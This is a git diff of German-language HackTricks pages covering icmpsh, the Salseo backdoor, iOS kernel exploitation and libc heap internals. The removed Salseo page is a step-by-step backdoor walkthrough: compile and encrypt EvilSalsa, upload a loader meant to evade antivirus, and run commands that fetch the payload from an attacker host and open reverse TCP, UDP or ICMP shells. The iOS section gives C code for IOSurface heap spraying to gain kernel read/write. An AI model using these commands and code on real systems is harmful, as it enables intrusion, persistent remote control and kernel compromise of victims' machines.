Laden Sie die Hintertür von: [https://github.com/inquisb/icmpsh](https://github.com/inquisb/icmpsh)
|
||||
|
||||
# Client-Seite
|
||||
|
||||
Führen Sie das Skript aus: **run.sh**
|
||||
|
||||
**Wenn Sie einen Fehler erhalten, versuchen Sie, die Zeilen zu ändern:**
|
||||
```bash
|
||||
IPINT=$(ifconfig | grep "eth" | cut -d " " -f 1 | head -1)
|
||||
IP=$(ifconfig "$IPINT" |grep "inet addr:" |cut -d ":" -f 2 |awk '{ print $1 }')
|
||||
```
|
||||
**Für:**
|
||||
```bash
|
||||
echo Please insert the IP where you want to listen
|
||||
read IP
|
||||
```
|
||||
# **Opferseite**
|
||||
|
||||
Laden Sie **icmpsh.exe** auf das Opfer hoch und führen Sie es aus:
|
||||
```bash
|
||||
icmpsh.exe -t <Attacker-IP> -d 500 -b 30 -s 128
|
||||
```
|
||||
{{#include ../banners/hacktricks-training.md}}
|
@ -1,158 +0,0 @@
|
||||
# Salseo
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Kompilieren der Binaries
|
||||
|
||||
Lade den Quellcode von GitHub herunter und kompiliere **EvilSalsa** und **SalseoLoader**. Du benötigst **Visual Studio**, um den Code zu kompilieren.
|
||||
|
||||
Kompiliere diese Projekte für die Architektur des Windows-Systems, auf dem du sie verwenden möchtest (Wenn Windows x64 unterstützt, kompiliere sie für diese Architektur).
|
||||
|
||||
Du kannst **die Architektur auswählen** innerhalb von Visual Studio im **linken "Build"-Tab** unter **"Platform Target".**
|
||||
|
||||
(**Wenn du diese Optionen nicht findest, klicke auf **"Project Tab"** und dann auf **"\<Project Name> Properties"**)
|
||||
|
||||
.png>)
|
||||
|
||||
Dann baue beide Projekte (Build -> Build Solution) (Im Protokoll wird der Pfad der ausführbaren Datei angezeigt):
|
||||
|
||||
 (2) (1) (1) (1).png>)
|
||||
|
||||
## Bereite das Backdoor vor
|
||||
|
||||
Zuerst musst du die **EvilSalsa.dll** kodieren. Dazu kannst du das Python-Skript **encrypterassembly.py** verwenden oder das Projekt **EncrypterAssembly** kompilieren:
|
||||
|
||||
### **Python**
|
||||
```
|
||||
python EncrypterAssembly/encrypterassembly.py <FILE> <PASSWORD> <OUTPUT_FILE>
|
||||
python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.dll.txt
|
||||
```
|
||||
### Windows
|
||||
```
|
||||
EncrypterAssembly.exe <FILE> <PASSWORD> <OUTPUT_FILE>
|
||||
EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt
|
||||
```
|
||||
Ok, jetzt hast du alles, was du brauchst, um die Salseo-Sache auszuführen: die **kodierte EvilDalsa.dll** und das **Binary von SalseoLoader.**
|
||||
|
||||
**Lade das SalseoLoader.exe-Binary auf die Maschine hoch. Sie sollten von keinem AV erkannt werden...**
|
||||
|
||||
## **Führe das Backdoor aus**
|
||||
|
||||
### **Erhalte eine TCP-Reverse-Shell (kodierte DLL über HTTP herunterladen)**
|
||||
|
||||
Denke daran, eine nc als Reverse-Shell-Listener und einen HTTP-Server zu starten, um das kodierte evilsalsa bereitzustellen.
|
||||
```
|
||||
SalseoLoader.exe password http://<Attacker-IP>/evilsalsa.dll.txt reversetcp <Attacker-IP> <Port>
|
||||
```
|
||||
### **Einen UDP-Reverse-Shell erhalten (kodierte DLL über SMB herunterladen)**
|
||||
|
||||
Denken Sie daran, ein nc als Reverse-Shell-Listener zu starten und einen SMB-Server, um das kodierte evilsalsa bereitzustellen (impacket-smbserver).
|
||||
```
|
||||
SalseoLoader.exe password \\<Attacker-IP>/folder/evilsalsa.dll.txt reverseudp <Attacker-IP> <Port>
|
||||
```
|
||||
### **Einen ICMP Reverse Shell erhalten (kodierte DLL bereits im Opfer)**
|
||||
|
||||
**Diesmal benötigen Sie ein spezielles Tool auf dem Client, um den Reverse Shell zu empfangen. Laden Sie herunter:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh)
|
||||
|
||||
#### **ICMP-Antworten deaktivieren:**
|
||||
```
|
||||
sysctl -w net.ipv4.icmp_echo_ignore_all=1
|
||||
|
||||
#You finish, you can enable it again running:
|
||||
sysctl -w net.ipv4.icmp_echo_ignore_all=0
|
||||
```
|
||||
#### Führen Sie den Client aus:
|
||||
```
|
||||
python icmpsh_m.py "<Attacker-IP>" "<Victm-IP>"
|
||||
```
|
||||
#### Im Inneren des Opfers, lassen Sie uns das salseo-Ding ausführen:
|
||||
```
|
||||
SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp <Attacker-IP>
|
||||
```
|
||||
## Kompilieren von SalseoLoader als DLL, die die Hauptfunktion exportiert
|
||||
|
||||
Öffnen Sie das SalseoLoader-Projekt mit Visual Studio.
|
||||
|
||||
### Fügen Sie vor der Hauptfunktion hinzu: \[DllExport]
|
||||
|
||||
 (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||
|
||||
### Installieren Sie DllExport für dieses Projekt
|
||||
|
||||
#### **Tools** --> **NuGet-Paket-Manager** --> **NuGet-Pakete für die Lösung verwalten...**
|
||||
|
||||
 (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||
|
||||
#### **Suchen Sie nach dem DllExport-Paket (unter Verwendung des Tabs Durchsuchen) und drücken Sie Installieren (und akzeptieren Sie das Popup)**
|
||||
|
||||
 (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||
|
||||
In Ihrem Projektordner sind die Dateien erschienen: **DllExport.bat** und **DllExport_Configure.bat**
|
||||
|
||||
### **De**installieren Sie DllExport
|
||||
|
||||
Drücken Sie **Deinstallieren** (ja, es ist seltsam, aber vertrauen Sie mir, es ist notwendig)
|
||||
|
||||
 (1) (1) (2) (1).png>)
|
||||
|
||||
### **Beenden Sie Visual Studio und führen Sie DllExport_configure aus**
|
||||
|
||||
Beenden Sie einfach Visual Studio
|
||||
|
||||
Gehen Sie dann zu Ihrem **SalseoLoader-Ordner** und **führen Sie DllExport_Configure.bat** aus
|
||||
|
||||
Wählen Sie **x64** (wenn Sie es in einer x64-Umgebung verwenden möchten, war das mein Fall), wählen Sie **System.Runtime.InteropServices** (innerhalb **Namespace für DllExport**) und drücken Sie **Übernehmen**
|
||||
|
||||
 (1) (1) (1) (1).png>)
|
||||
|
||||
### **Öffnen Sie das Projekt erneut mit Visual Studio**
|
||||
|
||||
**\[DllExport]** sollte nicht länger als Fehler markiert sein
|
||||
|
||||
 (1).png>)
|
||||
|
||||
### Lösung erstellen
|
||||
|
||||
Wählen Sie **Ausgabetyp = Klassenbibliothek** (Projekt --> SalseoLoader-Eigenschaften --> Anwendung --> Ausgabetyp = Klassenbibliothek)
|
||||
|
||||
 (1).png>)
|
||||
|
||||
Wählen Sie die **x64** **Plattform** (Projekt --> SalseoLoader-Eigenschaften --> Erstellen --> Plattformziel = x64)
|
||||
|
||||
 (1) (1).png>)
|
||||
|
||||
Um die Lösung zu **erstellen**: Erstellen --> Lösung erstellen (Im Ausgabekonsolenfenster wird der Pfad der neuen DLL angezeigt)
|
||||
|
||||
### Testen Sie die generierte DLL
|
||||
|
||||
Kopieren und fügen Sie die DLL dort ein, wo Sie sie testen möchten.
|
||||
|
||||
Führen Sie aus:
|
||||
```
|
||||
rundll32.exe SalseoLoader.dll,main
|
||||
```
|
||||
Wenn kein Fehler auftritt, haben Sie wahrscheinlich eine funktionale DLL!!
|
||||
|
||||
## Holen Sie sich eine Shell mit der DLL
|
||||
|
||||
Vergessen Sie nicht, einen **HTTP** **Server** zu verwenden und einen **nc** **Listener** einzurichten.
|
||||
|
||||
### Powershell
|
||||
```
|
||||
$env:pass="password"
|
||||
$env:payload="http://10.2.0.5/evilsalsax64.dll.txt"
|
||||
$env:lhost="10.2.0.5"
|
||||
$env:lport="1337"
|
||||
$env:shell="reversetcp"
|
||||
rundll32.exe SalseoLoader.dll,main
|
||||
```
|
||||
### CMD
|
||||
```
|
||||
set pass=password
|
||||
set payload=http://10.2.0.5/evilsalsax64.dll.txt
|
||||
set lhost=10.2.0.5
|
||||
set lport=1337
|
||||
set shell=reversetcp
|
||||
rundll32.exe SalseoLoader.dll,main
|
||||
```
|
||||
{{#include ../banners/hacktricks-training.md}}
|
@ -1 +1,3 @@
|
||||
# Arbitrary Write 2 Exec
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
@ -1,8 +1,10 @@
|
||||
# iOS Exploiting
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
||||
## Physikalisches Use-After-Free
|
||||
|
||||
Dies ist eine Zusammenfassung des Beitrags von [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html). Weitere Informationen über Exploits, die diese Technik verwenden, finden Sie unter [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd).
|
||||
Dies ist eine Zusammenfassung des Beitrags von [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html). Weitere Informationen über den Exploit mit dieser Technik finden Sie unter [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd).
|
||||
|
||||
### Speicherverwaltung in XNU <a href="#memory-management-in-xnu" id="memory-management-in-xnu"></a>
|
||||
|
||||
@ -22,7 +24,7 @@ Seiten-Tabellen sind hierarchisch in drei Ebenen organisiert:
|
||||
* Dies ist die feinste Ebene, bei der jeder Eintrag eine einzelne **4 KB** Speicherseite abbildet.
|
||||
* Ein L2-Eintrag kann auf eine L3-Tabelle verweisen, wenn eine genauere Kontrolle erforderlich ist.
|
||||
|
||||
#### Abbildung von virtuellem zu physischem Speicher
|
||||
#### Abbildung von virtuellen zu physischen Speicher
|
||||
|
||||
* **Direkte Abbildung (Blockabbildung)**:
|
||||
* Einige Einträge in einer Seiten-Tabelle **bilden einen Bereich virtueller Adressen** auf einen zusammenhängenden Bereich physischer Adressen ab (wie eine Abkürzung).
|
||||
@ -34,7 +36,7 @@ Seiten-Tabellen sind hierarchisch in drei Ebenen organisiert:
|
||||
Angenommen, Sie versuchen, auf die virtuelle Adresse **0x1000000000** zuzugreifen:
|
||||
|
||||
1. **L1-Tabelle**:
|
||||
* Der Kernel überprüft den L1-Seitentabelleneintrag, der dieser virtuellen Adresse entspricht. Wenn er einen **Zeiger auf eine L2-Seitentabelle** hat, geht er zu dieser L2-Tabelle.
|
||||
* Der Kernel überprüft den L1-Seitentabelle-Eintrag, der dieser virtuellen Adresse entspricht. Wenn er einen **Zeiger auf eine L2-Seitentabelle** hat, geht er zu dieser L2-Tabelle.
|
||||
2. **L2-Tabelle**:
|
||||
* Der Kernel überprüft die L2-Seitentabelle auf eine detailliertere Abbildung. Wenn dieser Eintrag auf eine **L3-Seitentabelle** verweist, fährt er dort fort.
|
||||
3. **L3-Tabelle**:
|
||||
@ -60,9 +62,9 @@ Ein **physikalisches Use-After-Free** (UAF) tritt auf, wenn:
|
||||
3. Der Prozess den Speicher **deallokiert** (freigibt).
|
||||
4. Aufgrund eines **Bugs** vergisst der Kernel, die Abbildung aus den Seiten-Tabellen zu entfernen, obwohl er den entsprechenden physischen Speicher als frei markiert.
|
||||
5. Der Kernel kann dann diesen "freigegebenen" physischen Speicher für andere Zwecke, wie **Kernel-Daten**, **reallokieren**.
|
||||
6. Da die Abbildung nicht entfernt wurde, kann der Prozess weiterhin **lesen und schreiben** in diesen physischen Speicher.
|
||||
6. Da die Abbildung nicht entfernt wurde, kann der Prozess weiterhin auf diesen physischen Speicher **lesen und schreiben**.
|
||||
|
||||
Das bedeutet, dass der Prozess auf **Seiten des Kernel-Speichers** zugreifen kann, die möglicherweise sensible Daten oder Strukturen enthalten, was einem Angreifer potenziell ermöglicht, den **Kernel-Speicher** zu **manipulieren**.
|
||||
Das bedeutet, dass der Prozess auf **Seiten des Kernel-Speichers** zugreifen kann, die sensible Daten oder Strukturen enthalten könnten, was einem Angreifer potenziell ermöglicht, den **Kernel-Speicher zu manipulieren**.
|
||||
|
||||
### Exploitation-Strategie: Heap Spray
|
||||
|
||||
@ -70,20 +72,20 @@ Da der Angreifer nicht kontrollieren kann, welche spezifischen Kernel-Seiten auf
|
||||
|
||||
1. Der Angreifer **erstellt eine große Anzahl von IOSurface-Objekten** im Kernel-Speicher.
|
||||
2. Jedes IOSurface-Objekt enthält einen **magischen Wert** in einem seiner Felder, was die Identifizierung erleichtert.
|
||||
3. Sie **scannen die freigegebenen Seiten**, um zu sehen, ob eines dieser IOSurface-Objekte auf einer freigegebenen Seite gelandet ist.
|
||||
3. Sie **durchsuchen die freigegebenen Seiten**, um zu sehen, ob eines dieser IOSurface-Objekte auf einer freigegebenen Seite gelandet ist.
|
||||
4. Wenn sie ein IOSurface-Objekt auf einer freigegebenen Seite finden, können sie es verwenden, um **Kernel-Speicher zu lesen und zu schreiben**.
|
||||
|
||||
Weitere Informationen dazu finden Sie unter [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups).
|
||||
|
||||
### Schritt-für-Schritt Heap Spray-Prozess
|
||||
### Schritt-für-Schritt Heap Spray Prozess
|
||||
|
||||
1. **IOSurface-Objekte sprühen**: Der Angreifer erstellt viele IOSurface-Objekte mit einem speziellen Identifikator ("magischer Wert").
|
||||
2. **Freigegebene Seiten scannen**: Sie überprüfen, ob eines der Objekte auf einer freigegebenen Seite zugewiesen wurde.
|
||||
3. **Kernel-Speicher lesen/schreiben**: Durch Manipulation der Felder im IOSurface-Objekt erhalten sie die Möglichkeit, **willkürliche Lese- und Schreibvorgänge** im Kernel-Speicher durchzuführen. Dies ermöglicht ihnen:
|
||||
* Ein Feld zu verwenden, um **einen beliebigen 32-Bit-Wert** im Kernel-Speicher zu lesen.
|
||||
* Ein anderes Feld zu verwenden, um **64-Bit-Werte** zu schreiben, wodurch eine stabile **Kernel-Lese-/Schreibprimitive** erreicht wird.
|
||||
2. **Freigegebene Seiten durchsuchen**: Sie überprüfen, ob eines der Objekte auf einer freigegebenen Seite zugewiesen wurde.
|
||||
3. **Kernel-Speicher lesen/schreiben**: Durch Manipulation der Felder im IOSurface-Objekt erhalten sie die Fähigkeit, **willkürliche Lese- und Schreibvorgänge** im Kernel-Speicher durchzuführen. Dies ermöglicht ihnen:
|
||||
* Ein Feld zu verwenden, um **jeden 32-Bit-Wert** im Kernel-Speicher zu **lesen**.
|
||||
* Ein anderes Feld zu verwenden, um **64-Bit-Werte** zu **schreiben**, wodurch eine stabile **Kernel-Lese-/Schreibprimitive** erreicht wird.
|
||||
|
||||
Generieren Sie IOSurface-Objekte mit dem magischen Wert IOSURFACE_MAGIC, um später danach zu suchen:
|
||||
Generieren Sie IOSurface-Objekte mit dem magischen Wert IOSURFACE\_MAGIC, um später danach zu suchen:
|
||||
```c
|
||||
void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
|
||||
if (*nClients >= 0x4000) return;
|
||||
@ -140,7 +142,7 @@ return 0;
|
||||
```
|
||||
### Erreichen von Kernel Lese-/Schreibzugriff mit IOSurface
|
||||
|
||||
Nachdem wir die Kontrolle über ein IOSurface-Objekt im Kernel-Speicher (zu einer freigegebenen physischen Seite, die aus dem Userspace zugänglich ist, zugeordnet) erlangt haben, können wir es für **willkürliche Kernel-Lese- und Schreiboperationen** verwenden.
|
||||
Nachdem wir die Kontrolle über ein IOSurface-Objekt im Kernel-Speicher (zu einer freigegebenen physischen Seite, die aus dem Userspace zugänglich ist, abgebildet) erlangt haben, können wir es für **willkürliche Kernel-Lese- und Schreiboperationen** verwenden.
|
||||
|
||||
**Wichtige Felder in IOSurface**
|
||||
|
||||
@ -155,7 +157,7 @@ Durch das Überschreiben dieser Zeiger leiten wir sie an willkürliche Adressen
|
||||
|
||||
Um einen Lesezugriff durchzuführen:
|
||||
|
||||
1. Überschreiben Sie den **Use Count Pointer**, um auf die Zieladresse minus einem 0x14-Byte-Offset zu zeigen.
|
||||
1. Überschreiben Sie den **use count pointer**, um auf die Zieladresse minus einem 0x14-Byte-Offset zu zeigen.
|
||||
2. Verwenden Sie die Methode `get_use_count`, um den Wert an dieser Adresse zu lesen.
|
||||
```c
|
||||
uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
|
||||
@ -197,7 +199,10 @@ iosurface_set_indexed_timestamp_pointer(info.object, orig);
|
||||
|
||||
1. **Trigger Physical Use-After-Free**: Freie Seiten sind zur Wiederverwendung verfügbar.
|
||||
2. **Spray IOSurface Objects**: Viele IOSurface-Objekte mit einem einzigartigen "magischen Wert" im Kernel-Speicher zuweisen.
|
||||
3. **Identify Accessible IOSurface**: Ein IOSurface auf einer freigegebenen Seite finden, die Sie kontrollieren.
|
||||
4. **Abuse Use-After-Free**: Zeiger im IOSurface-Objekt ändern, um beliebige **Kernel-Lese-/Schreibvorgänge** über IOSurface-Methoden zu ermöglichen.
|
||||
3. **Identify Accessible IOSurface**: Ein IOSurface auf einer freigegebenen Seite lokalisieren, die Sie kontrollieren.
|
||||
4. **Abuse Use-After-Free**: Zeiger im IOSurface-Objekt ändern, um beliebiges **Kernel-Lesen/Schreiben** über IOSurface-Methoden zu ermöglichen.
|
||||
|
||||
Mit diesen Primitiven bietet der Exploit kontrollierte **32-Bit-Lesevorgänge** und **64-Bit-Schreibvorgänge** im Kernel-Speicher. Weitere Jailbreak-Schritte könnten stabilere Lese-/Schreibprimitive erfordern, die möglicherweise das Umgehen zusätzlicher Schutzmaßnahmen (z. B. PPL auf neueren arm64e-Geräten) erfordern.
|
||||
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
@ -1,56 +1,58 @@
|
||||
# Libc Heap
|
||||
|
||||
## Heap Grundlagen
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
||||
## Heap Basics
|
||||
|
||||
Der Heap ist im Grunde der Ort, an dem ein Programm Daten speichern kann, wenn es Daten anfordert, indem es Funktionen wie **`malloc`**, `calloc`... aufruft. Darüber hinaus wird dieser Speicher, wenn er nicht mehr benötigt wird, durch den Aufruf der Funktion **`free`** wieder verfügbar gemacht.
|
||||
|
||||
Wie gezeigt, befindet er sich direkt nach dem Laden des Binaries im Speicher (siehe den Abschnitt `[heap]`):
|
||||
Wie gezeigt, befindet er sich direkt nach dem Laden der Binärdatei im Speicher (siehe den Abschnitt `[heap]`):
|
||||
|
||||
<figure><img src="../../images/image (1241).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Grundlegende Chunk-Zuweisung
|
||||
### Basic Chunk Allocation
|
||||
|
||||
Wenn Daten angefordert werden, um im Heap gespeichert zu werden, wird ein Teil des Heaps dafür reserviert. Dieser Speicher gehört zu einem Bin und nur die angeforderten Daten + der Speicher der Bin-Header + der Offset der minimalen Bin-Größe werden für den Chunk reserviert. Das Ziel ist es, so wenig Speicher wie möglich zu reservieren, ohne es kompliziert zu machen, wo sich jeder Chunk befindet. Zu diesem Zweck werden die Metadaten-Chunk-Informationen verwendet, um zu wissen, wo sich jeder verwendete/freie Chunk befindet.
|
||||
Wenn Daten im Heap gespeichert werden sollen, wird ein Teil des Heaps dafür reserviert. Dieser Speicher gehört zu einem Bin und nur die angeforderten Daten + der Speicher der Bin-Header + der Offset der minimalen Bin-Größe werden für den Chunk reserviert. Das Ziel ist es, so wenig Speicher wie möglich zu reservieren, ohne es kompliziert zu machen, wo sich jeder Chunk befindet. Zu diesem Zweck werden die Metadaten-Chunk-Informationen verwendet, um zu wissen, wo sich jeder verwendete/freie Chunk befindet.
|
||||
|
||||
Es gibt verschiedene Möglichkeiten, den Speicher zu reservieren, die hauptsächlich von dem verwendeten Bin abhängen, aber eine allgemeine Methodik ist die folgende:
|
||||
|
||||
- Das Programm beginnt mit der Anforderung einer bestimmten Menge an Speicher.
|
||||
- Wenn in der Liste der Chunks ein verfügbarer, ausreichend großer Chunk vorhanden ist, wird dieser verwendet.
|
||||
- Dies kann sogar bedeuten, dass ein Teil des verfügbaren Chunks für diese Anfrage verwendet wird und der Rest zur Chunk-Liste hinzugefügt wird.
|
||||
- Wenn in der Liste kein verfügbarer Chunk vorhanden ist, aber noch Speicher im zugewiesenen Heap vorhanden ist, erstellt der Heap-Manager einen neuen Chunk.
|
||||
- Wenn nicht genügend Heap-Speicher vorhanden ist, um den neuen Chunk zuzuweisen, fragt der Heap-Manager den Kernel, den dem Heap zugewiesenen Speicher zu erweitern, und verwendet dann diesen Speicher, um den neuen Chunk zu generieren.
|
||||
- Dies kann sogar bedeuten, dass ein Teil des verfügbaren Chunks für diese Anfrage verwendet wird und der Rest zur Liste der Chunks hinzugefügt wird.
|
||||
- Wenn in der Liste kein verfügbarer Chunk vorhanden ist, aber noch Platz im zugewiesenen Heap-Speicher ist, erstellt der Heap-Manager einen neuen Chunk.
|
||||
- Wenn nicht genügend Heap-Speicher vorhanden ist, um den neuen Chunk zuzuweisen, bittet der Heap-Manager den Kernel, den dem Heap zugewiesenen Speicher zu erweitern, und verwendet dann diesen Speicher, um den neuen Chunk zu generieren.
|
||||
- Wenn alles fehlschlägt, gibt `malloc` null zurück.
|
||||
|
||||
Beachten Sie, dass, wenn der angeforderte **Speicher einen Schwellenwert überschreitet**, **`mmap`** verwendet wird, um den angeforderten Speicher zuzuordnen.
|
||||
|
||||
## Arenen
|
||||
## Arenas
|
||||
|
||||
In **multithreaded** Anwendungen muss der Heap-Manager **Race Conditions** verhindern, die zu Abstürzen führen könnten. Ursprünglich wurde dies durch die Verwendung eines **globalen Mutex** erreicht, um sicherzustellen, dass nur ein Thread gleichzeitig auf den Heap zugreifen kann, was jedoch **Leistungsprobleme** aufgrund des durch den Mutex verursachten Engpasses verursachte.
|
||||
|
||||
Um dies zu beheben, führte der ptmalloc2 Heap-Allocator "Arenen" ein, wobei **jede Arena** als **separater Heap** mit ihren **eigenen** Daten **strukturen** und **Mutex** fungiert, sodass mehrere Threads Heap-Operationen durchführen können, ohne sich gegenseitig zu stören, solange sie unterschiedliche Arenen verwenden.
|
||||
Um dies zu beheben, führte der ptmalloc2 Heap-Allocator "Arenas" ein, bei denen **jede Arena** als **separater Heap** mit ihren **eigenen** Daten **strukturen** und **Mutex** fungiert, sodass mehrere Threads Heap-Operationen durchführen können, ohne sich gegenseitig zu stören, solange sie unterschiedliche Arenas verwenden.
|
||||
|
||||
Die Standard-"Haupt"-Arena verwaltet Heap-Operationen für Single-Thread-Anwendungen. Wenn **neue Threads** hinzugefügt werden, weist der Heap-Manager ihnen **sekundäre Arenen** zu, um die Konkurrenz zu verringern. Er versucht zunächst, jeden neuen Thread an eine ungenutzte Arena anzuhängen und erstellt bei Bedarf neue, bis zu einem Limit von 2 mal der Anzahl der CPU-Kerne für 32-Bit-Systeme und 8 mal für 64-Bit-Systeme. Sobald das Limit erreicht ist, **müssen Threads Arenen teilen**, was zu potenzieller Konkurrenz führt.
|
||||
Die standardmäßige "Haupt"-Arena verwaltet Heap-Operationen für Single-Thread-Anwendungen. Wenn **neue Threads** hinzugefügt werden, weist der Heap-Manager ihnen **sekundäre Arenas** zu, um die Konkurrenz zu verringern. Er versucht zunächst, jeden neuen Thread an eine ungenutzte Arena anzuhängen und erstellt bei Bedarf neue, bis zu einem Limit von 2 mal der Anzahl der CPU-Kerne für 32-Bit-Systeme und 8 mal für 64-Bit-Systeme. Sobald das Limit erreicht ist, **müssen Threads Arenas teilen**, was zu potenzieller Konkurrenz führt.
|
||||
|
||||
Im Gegensatz zur Hauptarena, die sich mit dem `brk` Systemaufruf erweitert, erstellen sekundäre Arenen "Subheaps" mit `mmap` und `mprotect`, um das Verhalten des Heaps zu simulieren, was Flexibilität bei der Verwaltung des Speichers für multithreaded Operationen ermöglicht.
|
||||
Im Gegensatz zur Hauptarena, die sich mit dem `brk` Systemaufruf erweitert, erstellen sekundäre Arenas "Subheaps" mit `mmap` und `mprotect`, um das Verhalten des Heaps zu simulieren, was Flexibilität bei der Verwaltung von Speicher für multithreaded Operationen ermöglicht.
|
||||
|
||||
### Subheaps
|
||||
|
||||
Subheaps dienen als Speicherreserven für sekundäre Arenen in multithreaded Anwendungen, sodass sie wachsen und ihre eigenen Heap-Bereiche getrennt vom Haupt-Heap verwalten können. So unterscheiden sich Subheaps vom ursprünglichen Heap und so funktionieren sie:
|
||||
Subheaps dienen als Speicherreserven für sekundäre Arenas in multithreaded Anwendungen, sodass sie wachsen und ihre eigenen Heap-Bereiche getrennt vom Hauptheap verwalten können. So unterscheiden sich Subheaps vom ursprünglichen Heap und wie sie funktionieren:
|
||||
|
||||
1. **Ursprünglicher Heap vs. Subheaps**:
|
||||
- Der ursprüngliche Heap befindet sich direkt nach dem Binary des Programms im Speicher und erweitert sich mit dem `sbrk` Systemaufruf.
|
||||
- Subheaps, die von sekundären Arenen verwendet werden, werden durch `mmap` erstellt, einen Systemaufruf, der einen bestimmten Speicherbereich zuordnet.
|
||||
- Der ursprüngliche Heap befindet sich direkt nach der Binärdatei des Programms im Speicher und erweitert sich mit dem `sbrk` Systemaufruf.
|
||||
- Subheaps, die von sekundären Arenas verwendet werden, werden durch `mmap` erstellt, einen Systemaufruf, der einen bestimmten Speicherbereich zuordnet.
|
||||
2. **Speicherreservierung mit `mmap`**:
|
||||
- Wenn der Heap-Manager einen Subheap erstellt, reserviert er einen großen Speicherblock über `mmap`. Diese Reservierung allokiert nicht sofort Speicher; sie weist einfach einen Bereich zu, den andere Systemprozesse oder Zuweisungen nicht verwenden sollten.
|
||||
- Standardmäßig beträgt die reservierte Größe für einen Subheap 1 MB für 32-Bit-Prozesse und 64 MB für 64-Bit-Prozesse.
|
||||
3. **Allmähliche Erweiterung mit `mprotect`**:
|
||||
- Der reservierte Speicherbereich ist zunächst als `PROT_NONE` markiert, was bedeutet, dass der Kernel noch keinen physischen Speicher für diesen Bereich zuweisen muss.
|
||||
- Der reservierte Speicherbereich wird zunächst als `PROT_NONE` markiert, was bedeutet, dass der Kernel noch keinen physischen Speicher für diesen Bereich zuweisen muss.
|
||||
- Um den Subheap "zu vergrößern", verwendet der Heap-Manager `mprotect`, um die Seitenberechtigungen von `PROT_NONE` auf `PROT_READ | PROT_WRITE` zu ändern, was den Kernel auffordert, physischen Speicher für die zuvor reservierten Adressen zuzuweisen. Dieser schrittweise Ansatz ermöglicht es dem Subheap, nach Bedarf zu wachsen.
|
||||
- Sobald der gesamte Subheap erschöpft ist, erstellt der Heap-Manager einen neuen Subheap, um die Zuweisung fortzusetzen.
|
||||
|
||||
### heap_info <a href="#heap_info" id="heap_info"></a>
|
||||
|
||||
Diese Struktur weist relevante Informationen des Heaps zu. Darüber hinaus ist der Heap-Speicher nach weiteren Zuweisungen möglicherweise nicht kontinuierlich, diese Struktur speichert auch diese Informationen.
|
||||
Diese Struktur speichert relevante Informationen über den Heap. Darüber hinaus ist der Heap-Speicher nach weiteren Zuweisungen möglicherweise nicht kontinuierlich, diese Struktur wird auch diese Informationen speichern.
|
||||
```c
|
||||
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/arena.c#L837
|
||||
|
||||
@ -72,7 +74,7 @@ char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK];
|
||||
|
||||
**Jeder Heap** (Hauptarena oder andere Thread-Arenen) hat eine **`malloc_state` Struktur.**\
|
||||
Es ist wichtig zu beachten, dass die **`malloc_state` Struktur der Hauptarena** eine **globale Variable in der libc** ist (daher im libc-Speicherbereich lokalisiert).\
|
||||
Im Fall von **`malloc_state`** Strukturen der Heaps von Threads befinden sie sich **innerhalb des eigenen Thread-"Heaps"**.
|
||||
Im Fall von **`malloc_state`** Strukturen der Heaps von Threads sind sie **innerhalb des eigenen Thread-"Heaps"** lokalisiert.
|
||||
|
||||
Es gibt einige interessante Dinge, die man aus dieser Struktur beachten sollte (siehe C-Code unten):
|
||||
|
||||
@ -88,11 +90,11 @@ Es gibt einige interessante Dinge, die man aus dieser Struktur beachten sollte (
|
||||
#define set_contiguous(M) ((M)->flags &= ~NONCONTIGUOUS_BIT)
|
||||
```
|
||||
|
||||
- Der `mchunkptr bins[NBINS * 2 - 2];` enthält **Zeiger** auf die **ersten und letzten Chunks** der kleinen, großen und unsortierten **Bins** (die -2 ist, weil der Index 0 nicht verwendet wird).
|
||||
- Der `mchunkptr bins[NBINS * 2 - 2];` enthält **Zeiger** auf die **ersten und letzten Chunks** der kleinen, großen und unsortierten **Bins** (die -2 ist, weil der Index 0 nicht verwendet wird)
|
||||
- Daher wird der **erste Chunk** dieser Bins einen **rückwärts gerichteten Zeiger auf diese Struktur** haben und der **letzte Chunk** dieser Bins wird einen **vorwärts gerichteten Zeiger** auf diese Struktur haben. Das bedeutet im Grunde, dass wenn du diese Adressen in der Hauptarena **leaken** kannst, du einen Zeiger auf die Struktur in der **libc** haben wirst.
|
||||
- Die Strukturen `struct malloc_state *next;` und `struct malloc_state *next_free;` sind verkettete Listen von Arenen.
|
||||
- Der `top` Chunk ist der letzte "Chunk", der im Grunde **den gesamten verbleibenden Speicher des Heaps** darstellt. Sobald der Top-Chuck "leer" ist, ist der Heap vollständig genutzt und es muss mehr Speicher angefordert werden.
|
||||
- Der `last reminder` Chunk stammt aus Fällen, in denen ein Chunk mit genau der Größe nicht verfügbar ist und daher ein größerer Chunk geteilt wird, ein Zeiger auf den verbleibenden Teil wird hier platziert.
|
||||
- Der `letzte verbleibende` Chunk stammt aus Fällen, in denen ein Chunk in exakter Größe nicht verfügbar ist und daher ein größerer Chunk geteilt wird, ein Zeiger auf den verbleibenden Teil wird hier platziert.
|
||||
```c
|
||||
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1812
|
||||
|
||||
